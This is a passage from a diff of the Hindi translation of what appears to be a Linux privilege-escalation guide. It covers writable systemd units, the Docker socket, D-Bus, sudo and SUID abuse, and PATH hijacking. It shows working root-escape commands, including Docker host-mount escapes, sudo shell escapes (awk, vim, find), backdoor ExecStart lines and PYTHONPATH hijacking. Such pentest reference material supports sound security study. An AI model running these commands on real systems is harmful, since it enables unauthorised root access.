मशीन के reboot होने तक इंतज़ार करना पड़े). \ -उदाहरण के लिए अपनी backdoor को .service फ़ाइल के अंदर बनाएं **`ExecStart=/tmp/script.sh`** +जाँचें कि क्या आप किसी `.service` फाइल को लिख सकते हैं, अगर कर सकते हैं तो आप इसे बदलकर यह सुनिश्चित कर सकते हैं कि यह आपकी **backdoor** को **executes** करे जब सेवा **started**, **restarted** या **stopped** हो (शायद आपको मशीन के reboot होने तक इंतजार करना पड़े)।\ +उदाहरण के लिए अपनी backdoor को .service फाइल के अंदर बनाएं जैसे **`ExecStart=/tmp/script.sh`** ### लिखने योग्य service binaries -ध्यान रखें कि यदि आपके पास **write permissions over binaries being executed by services**, तो आप उन्हें backdoors के लिए बदल सकते हैं ताकि जब services पुनः निष्पादित हों तो backdoors निष्पादित हो जाएँ। +ध्यान रखें कि अगर आपके पास **write permissions over binaries being executed by services** हैं, तो आप उन्हें backdoors के लिए बदल सकते हैं ताकि जब सेवाएं फिर से चलें तो backdoors भी executed हो जाएँ। -### systemd PATH - सापेक्ष पथ +### systemd PATH - Relative Paths -आप **systemd** द्वारा उपयोग किए जाने वाले PATH को निम्न के साथ देख सकते हैं: +आप **systemd** द्वारा उपयोग किए गए PATH को निम्नलिखित से देख सकते हैं: ```bash systemctl show-environment ``` -यदि आप पथ के किसी भी फ़ोल्डर में **write** कर सकते हैं तो आप संभवतः **escalate privileges** कर पाएंगे। आपको ऐसी फ़ाइलों में **relative paths being used on service configurations** खोजनी चाहिए, जैसे: +यदि आप पथ के किसी भी फ़ोल्डर में **write** कर सकते हैं तो आप संभवतः **escalate privileges** कर सकते हैं। आपको **relative paths being used on service configurations** वाली फ़ाइलों में तलाश करनी चाहिए, जैसे: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -फिर, उस systemd PATH फ़ोल्डर के अंदर एक **निष्पादन योग्य** बनाएं जिसका नाम उसी relative path binary के समान हो, और जब सेवा से vulnerable action (**Start**, **Stop**, **Reload**) करने को कहा जाएगा, आपका **backdoor** execute हो जाएगा (अनप्रिविलेज्ड उपयोगकर्ता आमतौर पर सेवाएँ start/stop नहीं कर सकते — पर जाँच करें कि क्या आप `sudo -l` का उपयोग कर सकते हैं)। +फिर, उस systemd PATH फ़ोल्डर के अंदर जिस पर आप लिख सकते हैं, relative path binary के same नाम के साथ एक **executable** बनाइए, और जब सेवा से vulnerable action (**Start**, **Stop**, **Reload**) को execute करने के लिए कहा जाएगा, तो आपका **backdoor will be executed** (unprivileged users आमतौर पर सेवाओं को start/stop नहीं कर सकते, लेकिन जाँच करें कि क्या आप `sudo -l` का उपयोग कर सकते हैं)। -**services के बारे में और जानने के लिए `man systemd.service` देखें।** +**Learn more about services with `man systemd.service`.** ## **Timers** -**Timers** systemd की unit फ़ाइलें हैं जिनके नाम `**.timer**` पर समाप्त होते हैं और जो `**.service**` फ़ाइलों या events को नियंत्रित करती हैं। **Timers** को cron के विकल्प के रूप में इस्तेमाल किया जा सकता है क्योंकि इनमें calendar time events और monotonic time events के लिए built‑in सपोर्ट होता है और ये asynchronously चल सकते हैं। +**Timers** systemd unit files होते हैं जिनका नाम `**.timer**` पर समाप्त होता है और जो `**.service**` फ़ाइलों या events को नियंत्रित करते हैं। **Timers** को cron के विकल्प के रूप में इस्तेमाल किया जा सकता है क्योंकि इनमें calendar time events और monotonic time events के लिए बिल्ट-इन सपोर्ट होता है और इन्हें asynchronously चलाया जा सकता है। -आप सभी timers को सूचीबद्ध करने के लिए निम्न चला सकते हैं: +आप सभी timers को निम्न के साथ सूचीबद्ध कर सकते हैं: ```bash systemctl list-timers --all ``` ### लिखने योग्य टाइमर -अगर आप किसी टाइमर को संशोधित कर सकते हैं तो आप इसे systemd.unit की कुछ मौजूदा यूनिट्स (जैसे `.service` या `.target`) को निष्पादित करने के लिए बना सकते हैं। +यदि आप किसी टाइमर को संशोधित कर सकते हैं तो आप इसे systemd.unit की कुछ मौजूदा इकाइयों (जैसे `.service` या `.target`) को चलाने के लिए बना सकते हैं। ```bash Unit=backdoor.service ``` In the documentation you can read what the Unit is: -> यह unit है जिसे इस timer के समाप्त होने पर activate किया जाता है। आर्ग्युमेंट एक unit name है, जिसकी suffix ".timer" नहीं है। यदि निर्दिष्ट नहीं किया गया है, तो यह मान default रूप से उसी नाम की service को लेता है जैसे timer unit का नाम है, सिवाय suffix के। (ऊपर देखें.) सुझाया जाता है कि जो unit activate किया जाता है और timer unit का unit name, दोनों एक समान हों, केवल suffix अलग हो। +> जब यह timer समाप्त होता है तो सक्रिय करने के लिए Unit। तर्क एक unit name है, जिसका suffix ".timer" नहीं है। यदि निर्दिष्ट नहीं किया गया है, तो यह मान उस service पर डिफ़ॉल्ट होता है जिसका नाम timer unit के समान होता है, सिवाय suffix के। (See above.) अनुशंसित है कि सक्रिय किए जाने वाले unit का नाम और timer unit का नाम suffix को छोड़कर समान हों। Therefore, to abuse this permission you would need to: -- किसी systemd unit (जैसे `.service`) को खोजें जो **executing a writable binary** हो -- किसी systemd unit को खोजें जो **executing a relative path** हो और आपके पास **writable privileges** उस **systemd PATH** पर हों (ताकि आप उस executable का impersonate कर सकें) +- किसी systemd unit (जैसे `.service`) को ढूँढें जो **executing a writable binary** हो +- किसी systemd unit को ढूँढें जो **executing a relative path** कर रहा हो और आपके पास उस **systemd PATH** पर **writable privileges** हों (to impersonate that executable) **Learn more about timers with `man systemd.timer`.** ### **टाइमर सक्षम करना** -टाइमर enable करने के लिए आपको root privileges चाहिए और निम्न command चलाना होगा: +To enable a timer you need root privileges and to execute: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. @@ -441,28 +440,28 @@ Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd ## सॉकेट्स -Unix Domain Sockets (UDS) क्लाइंट-सर्वर मॉडल में एक ही या अलग मशीनों पर **प्रोसेस कम्युनिकेशन** सक्षम करते हैं। ये इंटर-कंप्यूटर संचार के लिए मानक Unix descriptor फ़ाइलों का उपयोग करते हैं और `.socket` फ़ाइलों के माध्यम से सेटअप किए जाते हैं। +Unix Domain Sockets (UDS) क्लाइंट-सर्वर मॉडल में समान या अलग मशीनों पर **process communication** सक्षम करते हैं। वे इंटर-कम्प्यूटर संचार के लिए मानक Unix descriptor फ़ाइलों का उपयोग करते हैं और `.socket` फ़ाइलों के माध्यम से सेटअप किए जाते हैं। Sockets को `.socket` फ़ाइलों का उपयोग करके कॉन्फ़िगर किया जा सकता है। -**Learn more about sockets with `man systemd.socket`.** इस फ़ाइल के अंदर कई रोचक पैरामीटर कॉन्फ़िगर किए जा सकते हैं: +**सॉकेट्स के बारे में अधिक जानने के लिए `man systemd.socket` देखें।** इस फ़ाइल के भीतर, कई रोचक पैरामीटर कॉन्फ़िगर किए जा सकते हैं: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प अलग-अलग हैं लेकिन सारांश में यह **सूचित करने** के लिए होते हैं कि यह socket कहाँ सुनने वाला है (AF_UNIX socket फ़ाइल का पथ, सुनने के लिए IPv4/6 और/या पोर्ट नंबर, आदि)। -- `Accept`: boolean argument लेता है। अगर **true** है, तो हर इनकमिंग कनेक्शन के लिए **एक service instance spawn** होता है और केवल कनेक्शन socket को ही इसे पास किया जाता है। अगर **false** है, तो सभी listening sockets स्वयं **started service unit को पास** किए जाते हैं, और सभी कनेक्शनों के लिए केवल एक service unit spawn होता है। यह मान datagram sockets और FIFOs के लिए अनदेखा कर दिया जाता है जहाँ एकल service unit बिना शर्त सभी इनकमिंग ट्रैफ़िक को हैंडल करता है। **Defaults to false**। प्रदर्शन कारणों से, नए daemons को केवल `Accept=no` के अनुकूल लिखने की सलाह दी जाती है। -- `ExecStartPre`, `ExecStartPost`: एक या अधिक command lines लेते हैं, जिन्हें listening **sockets**/FIFOs के **बनने** और bind होने से पहले या बाद में क्रमशः **execute** किया जाता है। कमांड लाइन का पहला token एक absolute filename होना चाहिए, उसके बाद process के arguments। -- `ExecStopPre`, `ExecStopPost`: अतिरिक्त **commands** जो listening **sockets**/FIFOs के **बंद** और हटाए जाने से पहले या बाद में क्रमशः **execute** होते हैं। -- `Service`: इनकमिंग ट्रैफ़िक पर सक्रिय करने के लिए **service** unit का नाम निर्दिष्ट करता है। यह सेटिंग केवल Accept=no वाले sockets के लिए अनुमति है। यह डिफ़ॉल्ट रूप से उसी नाम वाली service को चुनता है जो socket के समान नाम रखती है (suffix बदलकर)। अधिकांश मामलों में इस विकल्प का उपयोग आवश्यक नहीं होना चाहिए। +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प अलग हैं पर एक सारांश **यह दर्शाने के लिए** प्रयोग होता है कि यह socket कहाँ सुनने वाला है (AF_UNIX socket फ़ाइल का पथ, IPv4/6 और/या सुनने के लिए पोर्ट नंबर, आदि)। +- `Accept`: एक boolean argument लेता है। अगर **true** है, तो प्रत्येक इनकमिंग कनेक्शन के लिए एक **service instance is spawned for each incoming connection** और केवल कनेक्शन socket ही उसे पास किया जाता है। अगर **false** है, तो सभी listening sockets स्वयं **passed to the started service unit** होते हैं, और सभी कनेक्शनों के लिए केवल एक service unit स्पॉन किया जाता है। यह मान datagram sockets और FIFOs के लिए अनदेखा किया जाता है जहाँ एक single service unit बिना शर्त सभी इनकमिंग ट्रैफ़िक को हैंडल करता है। **डिफ़ॉल्ट false है।** प्रदर्शन कारणों से, नए daemons को केवल ऐसे तरीके से लिखने की सलाह दी जाती है जो `Accept=no` के अनुकूल हों। +- `ExecStartPre`, `ExecStartPost`: एक या अधिक command lines लेता है, जो listening **sockets**/FIFOs के बनाने और bind होने से क्रमशः पहले या बाद में निष्पादित होते हैं। कमांड लाइन का पहला token एक absolute filename होना चाहिए, उसके बाद process के लिए arguments आते हैं। +- `ExecStopPre`, `ExecStopPost`: अतिरिक्त **commands** जो listening **sockets**/FIFOs के बंद और हटाए जाने से क्रमशः पहले या बाद में निष्पादित होते हैं। +- `Service`: incoming traffic पर सक्रिय करने के लिए **service** unit का नाम निर्दिष्ट करता है। यह सेटिंग केवल Accept=no वाले sockets के लिए अनुमति है। यह डिफ़ॉल्ट रूप से उसी नाम वाली service का उपयोग करता है जैसा सॉकेट का नाम है (suffix बदलकर)। अधिकतर मामलों में, इस विकल्प का उपयोग आवश्यक नहीं होना चाहिए। ### Writable .socket files -यदि आप किसी **writable** `.socket` फ़ाइल को पाते हैं तो आप `[Socket]` सेक्शन की शुरुआत में कुछ इस तरह जोड़ सकते हैं: `ExecStartPre=/home/kali/sys/backdoor` और backdoor socket बनाए जाने से पहले execute हो जाएगा। इसलिए, **संभवतः आपको मशीन के reboot होने तक प्रतीक्षा करनी पड़ेगी।**\ -_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +यदि आपको कोई **writable** `.socket` फ़ाइल मिलती है तो आप `[Socket]` सेक्शन की शुरुआत में कुछ ऐसा जोड़ सकते हैं: `ExecStartPre=/home/kali/sys/backdoor` और backdoor socket बनाए जाने से पहले निष्पादित हो जाएगा। इसलिए, आपको **संभावत: मशीन के reboot होने तक प्रतीक्षा** करनी होगी.\ +_ध्यान रहें कि सिस्टम को उस socket फ़ाइल कॉन्फ़िगरेशन का उपयोग कर रहा होना चाहिए वरना backdoor निष्पादित नहीं होगा_ ### Writable sockets -यदि आप किसी **writable socket** की पहचान करते हैं (_यहाँ हम Unix Sockets की बात कर रहे हैं न कि config `.socket` फ़ाइलों की_), तो आप उस socket के साथ **communicate** कर सकते हैं और संभवतः किसी vulnerability का exploit कर सकते हैं। +यदि आप कोई **writable socket** पहचानते हैं (_यहाँ अब हम Unix Sockets की बात कर रहे हैं, न कि config `.socket` फ़ाइलों की_), तो आप उस socket के साथ **communicate** कर सकते हैं और संभवतः किसी vulnerability का exploit कर सकते हैं। -### Enumerate Unix Sockets +### Unix Sockets को सूचीबद्ध करना ```bash netstat -a -p --unix ``` @@ -484,28 +483,28 @@ socket-command-injection.md ### HTTP sockets -ध्यान दें कि कुछ **sockets listening for HTTP** requests हो सकते हैं (_मैं .socket files की बात नहीं कर रहा हूँ बल्कि उन फ़ाइलों की बात कर रहा हूँ जो unix sockets की तरह काम करती हैं_). आप इसे निम्न कमांड से जांच सकते हैं: +ध्यान दें कि कुछ **sockets listening for HTTP** requests हो सकते हैं (_मैं .socket files की बात नहीं कर रहा हूँ बल्कि उन फाइलों की बात कर रहा हूँ जो unix sockets के रूप में काम कर रही हैं_)। आप इसे निम्न से जाँच सकते हैं: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -यदि socket **responds with an HTTP** request, तो आप इसके साथ **communicate** कर सकते हैं और शायद **exploit some vulnerability**। +यदि socket **HTTP अनुरोध का उत्तर देता है**, तो आप इसके साथ **संवाद** कर सकते हैं और शायद **exploit some vulnerability**। ### लिखने योग्य Docker Socket -The Docker socket, often found at `/var/run/docker.sock`, is a critical फ़ाइल that should be secured. By default, it's writable by the `root` user and members of the `docker` group. इस socket पर write access होने से privilege escalation हो सकता है। यहाँ बताया गया है कि यह कैसे किया जा सकता है और वैकल्पिक तरीके यदि Docker CLI उपलब्ध न हो तो। +The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. #### **Privilege Escalation with Docker CLI** -If you have write access to the Docker socket, you can escalate privileges using the following commands: +यदि आपके पास Docker socket पर लिखने की अनुमति है, तो आप निम्न commands का उपयोग करके escalate privileges कर सकते हैं: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -ये कमांड आपको host के फाइल सिस्टम में root-लेवल एक्सेस के साथ एक container चलाने की अनुमति देते हैं। +ये कमांड आपको होस्ट के फ़ाइल सिस्टम पर root-स्तरीय पहुँच के साथ एक कंटेनर चलाने की अनुमति देती हैं। -#### **Docker API का सीधे उपयोग** +#### **Docker API का प्रत्यक्ष उपयोग** -ऐसे मामलों में जहाँ Docker CLI उपलब्ध नहीं है, Docker socket को अभी भी Docker API और `curl` कमांड्स का उपयोग करके manipulate किया जा सकता है। +ऐसे मामलों में जहाँ Docker CLI उपलब्ध नहीं है, Docker socket को फिर भी Docker API और `curl` कमांड्स का उपयोग करके नियंत्रित किया जा सकता है। 1. **List Docker Images:** उपलब्ध images की सूची प्राप्त करें। @@ -513,19 +512,19 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** एक ऐसा container बनाने का request भेजें जो host सिस्टम की root directory को mount करे। +2. **Create a Container:** होस्ट सिस्टम की रूट निर्देशिका को माउंट करने वाला एक कंटेनर बनाने का अनुरोध भेजें। ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -नया बनाया गया container स्टार्ट करें: +नए बनाए गए कंटेनर को स्टार्ट करें: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** container से कनेक्शन स्थापित करने के लिए `socat` का उपयोग करें, जिससे उसमें कमांड execute कर सकें। +3. **Attach to the Container:** कंटेनर से कनेक्शन स्थापित करने के लिए `socat` का उपयोग करें, जिससे उसके अंदर कमांड निष्पादन संभव हो। ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -535,11 +534,11 @@ Connection: Upgrade Upgrade: tcp ``` -`socat` कनेक्शन सेट करने के बाद, आप container में सीधे कमांड चला सकते हैं और host के filesystem पर root-लेवल एक्सेस पा सकते हैं। +`socat` कनेक्शन सेट अप करने के बाद, आप कंटेनर में सीधे कमांड चला सकते हैं और होस्ट के फ़ाइल सिस्टम पर root-स्तरीय पहुँच प्राप्त कर सकते हैं। -### Others +### अन्य -ध्यान दें कि यदि आपके पास docker socket पर write permissions हैं क्योंकि आप **inside the group `docker`** हैं तो आपके पास [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group) हैं। यदि [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)। +ध्यान दें कि यदि आपके पास docker socket पर write permissions हैं क्योंकि आप **inside the group `docker`** हैं तो आपके पास [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)। यदि [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)। देखें **more ways to break out from docker or abuse it to escalate privileges** in: @@ -550,7 +549,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -यदि आपको ऐसा लगता है कि आप **`ctr`** command का उपयोग कर सकते हैं तो निम्न पेज पढ़ें क्योंकि **you may be able to abuse it to escalate privileges**: +यदि आप पाते हैं कि आप **`ctr`** कमांड का उपयोग कर सकते हैं तो निम्नलिखित पृष्ठ पढ़ें क्योंकि **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -559,7 +558,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -यदि आपको ऐसा लगता है कि आप **`runc`** command का उपयोग कर सकते हैं तो निम्न पेज पढ़ें क्योंकि **you may be able to abuse it to escalate privileges**: +यदि आप पाते हैं कि आप **`runc`** कमांड का उपयोग कर सकते हैं तो निम्नलिखित पृष्ठ पढ़ें क्योंकि **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -568,15 +567,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus एक परिष्कृत **inter-Process Communication (IPC) system** है जो applications को कुशलतापूर्वक इंटरैक्ट और डेटा साझा करने में सक्षम बनाता है। आधुनिक Linux सिस्टम को ध्यान में रखकर डिज़ाइन किया गया यह विभिन्न प्रकार के application communication के लिए एक मजबूत फ्रेमवर्क प्रदान करता है। +D-Bus एक परिष्कृत inter-Process Communication (IPC) system है जो अनुप्रयोगों को प्रभावी ढंग से परस्पर बातचीत करने और डेटा साझा करने में सक्षम बनाता है। यह आधुनिक Linux सिस्टम को ध्यान में रखकर डिज़ाइन किया गया है और अनुप्रयोग संचार के विभिन्न रूपों के लिए एक मजबूत फ्रेमवर्क प्रदान करता है। -यह सिस्टम बहुमुखी है, सरल IPC सपोर्ट करता है जो processes के बीच डेटा एक्सचेंज को बढ़ाता है, और यह **enhanced UNIX domain sockets** जैसी कार्यक्षमता याद दिलाता है। इसके अलावा, यह events या signals के ब्रॉडकास्ट में मदद करता है, जिससे सिस्टम कॉम्पोनेन्ट्स के बीच seamless इंटीग्रेशन संभव होता है। उदाहरण के लिए, Bluetooth daemon से आने वाला एक signal किसी music player को mute करने के लिए प्रेरित कर सकता है, जिससे user experience बेहतर होता है। अतिरिक्त रूप से, D-Bus एक remote object system को सपोर्ट करता है, जो applications के बीच service requests और method invocations को सरल बनाता है, और पारंपरिक रूप से जटिल प्रक्रियाओं को streamline करता है। +यह प्रणाली बहुमुखी है, बुनियादी IPC का समर्थन करती है जो प्रक्रियाओं के बीच डेटा के आदान-प्रदान को बढ़ाती है, और यह **enhanced UNIX domain sockets** की याद दिलाती है। इसके अलावा, यह इवेंट्स या सिग्नल्स को ब्रॉडकास्ट करने में मदद करती है, जिससे सिस्टम घटकों के बीच सहज एकीकरण होता है। उदाहरण के लिए, एक Bluetooth daemon से आने वाले कॉल का सिग्नल किसी music player को म्यूट करने के लिए प्रेरित कर सकता है, जिससे उपयोगकर्ता अनुभव बेहतर होता है। अतिरिक्त रूप से, D-Bus एक remote object system का समर्थन करता है, जो अनुप्रयोगों के बीच service requests और method invocations को सरल बनाता है, और पारंपरिक रूप से जटिल प्रक्रियाओं को सुव्यवस्थित करता है। -D-Bus एक **allow/deny model** पर काम करता है, जो matching policy rules के cumulative प्रभाव के आधार पर message permissions (method calls, signal emissions, आदि) को manage करता है। ये policies bus के साथ इंटरैक्शन को specify करती हैं, और इन permissions के exploit होने पर privilege escalation हो सकता है। +D-Bus एक **allow/deny model** पर काम करता है, जो message permissions (method calls, signal emissions, आदि) का प्रबंधन matching policy rules के सम्मिलित प्रभाव के आधार पर करता है। ये policies bus के साथ इंटरैक्शन को निर्दिष्ट करती हैं, और इन permissions का दुरुपयोग करके संभावित रूप से privilege escalation की अनुमति दे सकती हैं। -एक उदाहरण नीति `/etc/dbus-1/system.d/wpa_supplicant.conf` में दिया गया है, जो root user को `fi.w1.wpa_supplicant1` से messages own, send और receive करने की permissions का विवरण देता है। +ऐसी एक policy का उदाहरण `/etc/dbus-1/system.d/wpa_supplicant.conf` में दिया गया है, जो root उपयोगकर्ता के लिए `fi.w1.wpa_supplicant1` को own, send to, और receive messages from करने की permissions का विवरण देता है। -यदि किसी नीति में user या group specify नहीं किया गया है तो वह सार्वभौमिक रूप से लागू होती है, जबकि "default" context policies उन सभी पर लागू होती हैं जिन्हें अन्य specific policies कवर नहीं कर रही होती हैं। +यदि policies में कोई user या group निर्दिष्ट नहीं है तो वे सार्वभौमिक रूप से लागू होती हैं, जबकि "default" context policies उन सभी पर लागू होती हैं जो अन्य विशिष्ट policies द्वारा कवर नहीं हैं। ```xml @@ -594,7 +593,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **नेटवर्क** -नेटवर्क को enumerate करना और मशीन की स्थिति पता लगाना हमेशा दिलचस्प होता है। +नेटवर्क को enumerate करना और मशीन की स्थिति पता लगाना हमेशा रोचक होता है। ### सामान्य enumeration ```bash @@ -619,24 +618,24 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Open ports +### खुले पोर्ट -हमेशा उन नेटवर्क सेवाओं को चेक करें जो मशीन पर चल रही हों और जिनके साथ आप एक्सेस करने से पहले इंटरैक्ट नहीं कर पाए थे: +हमेशा उन नेटवर्क सेवाओं की जाँच करें जो मशीन पर चल रही हों और जिनसे आप उसे पहुँचने से पहले इंटरैक्ट नहीं कर पाए थे: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -जाँचें कि क्या आप sniff traffic कर सकते हैं। यदि आप कर पाएँ तो आप कुछ credentials प्राप्त कर सकते हैं। +जाँच करें कि क्या आप ट्रैफ़िक sniff कर सकते हैं। अगर कर सकते हैं, तो आप कुछ credentials हासिल कर सकते हैं। ``` timeout 1 tcpdump ``` -## Users +## उपयोगकर्ता -### Generic Enumeration +### सामान्य Enumeration -जाँचें कि आप **who** हैं, आपके पास कौन से **privileges** हैं, सिस्टम में कौन से **users** हैं, कौन **login** कर सकते हैं और किसके पास **root privileges** हैं: +जाँचें कि आप **who** हैं, आपके पास कौन से **privileges** हैं, सिस्टम में कौन से **users** हैं, कौन **login** कर सकता है और किनके पास **root privileges:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -660,12 +659,12 @@ gpg --list-keys 2>/dev/null ``` ### बड़ा UID -कुछ Linux वर्ज़न एक बग से प्रभावित थे जो **UID > INT_MAX** वाले उपयोगकर्ताओं को privileges escalate करने की अनुमति देता है। More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +कुछ Linux संस्करण एक बग से प्रभावित थे जो **UID > INT_MAX** वाले उपयोगकर्ताओं को escalate privileges की अनुमति देता है। अधिक जानकारी: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) और [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** ### समूह -जाँचें कि क्या आप **किसी समूह के सदस्य** हैं जो आपको root privileges दे सकता है: +जाँचें कि क्या आप किसी **समूह के सदस्य** हैं जो आपको root privileges दे सकता है: {{#ref}} @@ -674,7 +673,7 @@ interesting-groups-linux-pe/ ### क्लिपबोर्ड -अगर संभव हो तो जाँचें कि क्लिपबोर्ड के अंदर कुछ दिलचस्प तो नहीं। +जाँचें कि क्लिपबोर्ड के अंदर कुछ रोचक तो नहीं है (यदि संभव हो) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -691,27 +690,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### ज्ञात पासवर्ड -यदि आप किसी पर्यावरण का कोई भी **पासवर्ड जानते हैं** तो उसी पासवर्ड का उपयोग करके प्रत्येक **उपयोगकर्ता** के रूप में लॉगिन करने का प्रयास करें। +यदि आप वातावरण का कोई भी पासवर्ड **जानते हैं** तो पासवर्ड का उपयोग करके **प्रत्येक उपयोगकर्ता के रूप में लॉगिन करने का प्रयास करें**। ### Su Brute -यदि आपको बहुत शोर करने में आपत्ति नहीं है और कंप्यूटर पर `su` और `timeout` बाइनरीज़ मौजूद हैं, तो आप [su-bruteforce](https://github.com/carlospolop/su-bruteforce) का उपयोग करके उपयोगकर्ता पर brute-force आज़मा सकते हैं।\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` पैरामीटर के साथ भी उपयोगकर्ताओं पर brute-force करने की कोशिश करता है। +अगर आप बहुत शोर करने की परवाह नहीं करते और कंप्यूटर पर `su` और `timeout` binaries मौजूद हैं, तो आप [su-bruteforce](https://github.com/carlospolop/su-bruteforce) का उपयोग करके उपयोगकर्ता पर brute-force करने की कोशिश कर सकते हैं।\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` parameter के साथ भी users पर brute-force करने की कोशिश करता है। ## Writable PATH का दुरुपयोग ### $PATH -यदि आप पाते हैं कि आप **$PATH के किसी फ़ोल्डर के भीतर लिख सकते हैं** तो आप विशेषाधिकार बढ़ा सकते हैं — **लिखने योग्य फ़ोल्डर के अंदर एक backdoor बनाकर** जिसका नाम उस कमांड जैसा होगा जिसे किसी अन्य उपयोगकर्ता (आदर्श रूप से root) द्वारा चलाया जाना है और जो **आपके लिखने योग्य फ़ोल्डर से पहले स्थित किसी फ़ोल्डर से लोड नहीं होता**। +यदि आपको पता चलता है कि आप $PATH के किसी फ़ोल्डर के अंदर **लिख** सकते हैं तो आप अधिकार उन्नयन (privilege escalation) कर सकते हैं — इसके लिए आप writable फ़ोल्डर के अंदर किसी command के नाम से एक backdoor बना सकते हैं जो किसी दूसरे user (आदर्शतः root) द्वारा execute किया जाएगा और वह उस folder से लोड नहीं होता है जो आपके writable फ़ोल्डर से $PATH में पहले स्थित है। -### SUDO और SUID +### SUDO and SUID -आपको sudo का उपयोग करके कुछ कमांड चलाने की अनुमति मिल सकती है या उन पर suid बिट सेट हो सकता है। इसे जांचने के लिए उपयोग करें: +आपको sudo का उपयोग करके कुछ command execute करने की अनुमति हो सकती है या उन पर suid bit सेट हो सकता है। इसे जांचें: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -कुछ **अनपेक्षित commands आपको फ़ाइलें पढ़ने और/या लिखने या यहां तक कि कोई command निष्पादित करने की अनुमति देते हैं।** उदाहरण के लिए: +कुछ **अनपेक्षित कमांड आपको फ़ाइलें पढ़ने और/या लिखने या यहाँ तक कि कोई कमांड निष्पादित करने की अनुमति देते हैं।** उदाहरण के लिए: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -722,31 +721,31 @@ less>! ``` ### NOPASSWD -Sudo configuration किसी उपयोगकर्ता को बिना पासवर्ड जाने किसी अन्य उपयोगकर्ता के अधिकारों के साथ कोई कमांड चलाने की अनुमति दे सकती है। +Sudo configuration किसी उपयोगकर्ता को किसी अन्य उपयोगकर्ता की privileges के साथ कोई command बिना password जाने चलाने की अनुमति दे सकता है। ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -इस उदाहरण में उपयोगकर्ता `demo` `root` के रूप में `vim` चला सकता है; अब root directory में एक ssh key जोड़कर या `sh` कॉल करके एक shell प्राप्त करना बहुत आसान है। +इस उदाहरण में user `demo` `root` के रूप में `vim` चला सकता है; अब root directory में एक `ssh key` जोड़कर या `sh` चलाकर shell प्राप्त करना सहज है। ``` sudo vim -c '!sh' ``` ### SETENV -यह निर्देश उपयोगकर्ता को किसी चीज़ को निष्पादित करते समय **set an environment variable** करने की अनुमति देता है: +यह निर्देश उपयोगकर्ता को कुछ निष्पादित करते समय **set an environment variable** करने की अनुमति देता है: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -यह उदाहरण, **HTB machine Admirer पर आधारित**, **PYTHONPATH hijacking** के प्रति **कमज़ोर** था, जिससे script को root के रूप में चलाते समय किसी भी python library को लोड किया जा सकता था: +यह उदाहरण, **based on HTB machine Admirer**, **vulnerable** था **PYTHONPATH hijacking** के कारण arbitrary python library लोड करने के लिए जब script को root के रूप में execute किया जा रहा था: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo execution bypassing paths +### Sudo निष्पादन बायपास 